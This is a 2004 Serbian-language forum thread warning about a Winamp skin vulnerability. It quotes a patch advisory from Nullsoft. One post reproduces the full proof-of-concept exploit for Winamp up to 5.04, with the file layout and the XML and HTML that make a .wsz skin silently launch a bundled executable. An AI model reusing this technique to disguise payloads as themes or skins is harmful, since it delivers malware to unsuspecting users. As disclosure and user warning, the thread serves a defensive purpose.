MyCity » Zaštita od zlonamernih programa » Winamp skinovi - potencijalna opasnost

Winamp skinovi - potencijalna opasnost

Napisano na dan: 27.8.2004

Winamp skinovi - potencijalna opasnost
Sledeća strana Pagination

Idi na vrh

Poslao: 27 Avg 2004 00:34
Idi na vrh
offline
  • Pridružio: 04 Sep 2003
  • Poruke: 24135
  • Gde živiš: Wien

Kako izvestava news.com a prenosi softpedia, Winamp-ov nacin ucitavanja skinova omogucava izvrsenje podmetnutog izvrsnog fajla. Vise Procitajte na: [Link mogu videti samo ulogovani korisnici]



Registruj se da bi učestvovao u diskusiji. Registrovanim korisnicima se NE prikazuju reklame unutar poruka.
Poslao: 27 Avg 2004 06:56
Idi na vrh
offline
  • gamzzy 
  • Legendarni građanin
  • Pridružio: 24 Apr 2003
  • Poruke: 10725
  • Gde živiš: Novi Sad

Pitao sam se da li će iko reagovati na to... "pokretanjem skin-a" se on samo iskopira tamo gde treba sa sve njegovim sadržajem, a iako je to u stvari zip arhiva raspakuje se korišćenjem istog.



Poslao: 27 Avg 2004 23:05
Idi na vrh
offline
  • SVITAC 
  • Legendarni građanin
  • Pridružio: 28 Apr 2003
  • Poruke: 5919
  • Gde živiš: Beograd

Da je samo kopiranje .. možda to ne bi bio veći broblem .. ali se radi i o pokretanju istog ..

Poslao: 28 Avg 2004 12:09
Idi na vrh
offline
  • AxeZ 
  • Legendarni građanin
  • Pridružio: 17 Apr 2003
  • Poruke: 3989
  • Gde živiš: Novi Sad, Vojvodina

Winamp <=5.04 Skin File (.wsz) Remote Code Execution Exploit



This 0day exploit is known to be circulating in the wild
There is no patch for this vulnerability -> Do not use Winamp !


skinhead.wsz (skinhead.zip)
-----------------------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml


/html/test.htm
----------------
<html>
<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
</html>


/xml/includes.xml
-------------------
<include file="player.xml"/>


/xml/player-normal.xml
-------------------------
<layout>
<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>


/xml/player.xml
-----------------
<container id="main" name="main">
<include file="player-normal.xml"/>
</container>


/skin.xml
---------
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<WinampAbstractionLayer version="1.1">
<skininfo>
<version>1.0</version>
<name>Batman</name>
<comment></comment>
<author>Petrol Designs</author>
<email>info@petroldesigns.com</email>
<homepage>http://www.petroldesigns.com</homepage>
</skininfo>

<include file="xml/includes.xml"/>
<!--
-->
</WinampAbstractionLayer>

Poslao: 28 Avg 2004 13:35
Idi na vrh
offline
  • Puky  Male
  • Scottish rebel
  • Pridružio: 18 Apr 2003
  • Poruke: 5815
  • Gde živiš: u Zmajevom gnjezdu

AxeZ ::
There is no patch for this vulnerability -> Do not use Winamp !


Ma super ... kako da ga ne koristim.
Resenje : ne instalirati skinove.

Poslao: 28 Avg 2004 21:29
Idi na vrh
offline
  • AxeZ 
  • Legendarni građanin
  • Pridružio: 17 Apr 2003
  • Poruke: 3989
  • Gde živiš: Novi Sad, Vojvodina

From:
K-OTiK Security <Special-Alerts@k-otik.com>


To:
[Link mogu videti samo ulogovani korisnici]


Date:
Today 03:56:12 pm

In-Reply-To: <20040826164943.17362.qmail@www.securityfocus.com>

Nullsoft has issued a fix for this critical vulnerability affecting Winamp 3.0, 5.0 and 5.0 Pro or newer.

Nullsoft said that Winamp 5.05 resolves this exploit in two ways:

- Winamp will now prompt all users with a confirmation window before installing any skins.
- Winamp will now only extract files considered low risk before loading a Winamp Skin.

ALL Winamp users MUST upgrade to Winamp 5.05 immediately.

[Link mogu videti samo ulogovani korisnici]

Regards.
K-OTik.COM Security Survey Team
[Link mogu videti samo ulogovani korisnici]

Poslao: 16 Sep 2004 14:42
Idi na vrh
offline
  • Goran 
  • Prof.Mr.Dr.Sci. Traumatologije
  • Pridružio: 05 Maj 2003
  • Poruke: 9977
  • Gde živiš: Singidunum

Postoji puno alternativa, nego ljudi navikli na "Winamp" pa to ti je.

Poslao: 26 Dec 2004 22:57
Idi na vrh
offline
  • Piksi  Male
  • Elitni građanin
  • Pridružio: 13 Nov 2003
  • Poruke: 2435

Mislim da najmanje 60 % korisnika Windows-a koristi Winamp...tako da ce biti tesko odvici se!!! U ostalom mozemo da koristimo Klasicni skin ili MODERN skin...tako da odvikavanje nije potrebno!

MyCity » Zaštita od zlonamernih programa » Winamp skinovi - potencijalna opasnost

Ko je trenutno na forumu
 

Ukupno su 1931 korisnika na forumu :: 108 registrovanih, 7 sakrivenih i 1816 gosta   ::   [ Administrator ] [ Supermoderator ] [ Moderator ] :: Detaljnije

Najviše korisnika na forumu ikad bilo je 20624 - dana 04 Apr 2026 04:18

Korisnici koji su trenutno na forumu:
Korisnici trenutno na forumu: -[CoA]-, advokat84, Akiro, aramis s, Arhiv, Banovo Brdo, Bojan198527, Boris.A, BSD, Chainsaw, Cicumile, Cirkon, CraniumWhite, Cvexi, d.arsenal321, Dannyboy, Dare, debeli, Dejan_vw, delrey, Dimitrise93, Djokislav, djonsule, DJUNTA, dolinalima, DonRumataEstorski, Duck of Death, Dukelander, dusanobr, Electron, fićo32, Georgius, Giskard, goxin, gregorxix, grunff2, GveX, HogarStrashni, Ice, iceburn, igorkozar83, ikan, istokzapad, Jaz, Jester, JimmyNapoli, jodzula, Jomini, Jonbonjovi, koom0001, LjutaGuja, Macalone, MarijaC84, MarkTven, MB120mm, Medojed, mercedesamg, mig21, miki kv, Miki01, Milanče222, milimoj, Milos82, mkukoleca, Moldovan, N.e.m.a.nj.a., nebojsag, nefs, Nele79, nelezele, nenomir, nnovakis, oddsock, pablojepao, pavle_pzs, pein, Peruta, PilenceM, PoolbegD02, raptorsi, raster12, royst33, sap, sasovsky, Shinobi, Silvertooth, SirOliver, slowhand, srbijaiznadsvega, Srki98, starlights, Stevan Visoki, synergia, Tas011, they live, trutcina, Veber Zoltan, Vica1958, virked, VJ, vladom6, VonDrobac, Woya, yrraf, Zastava, Zmajac, Zoca, Zrcalo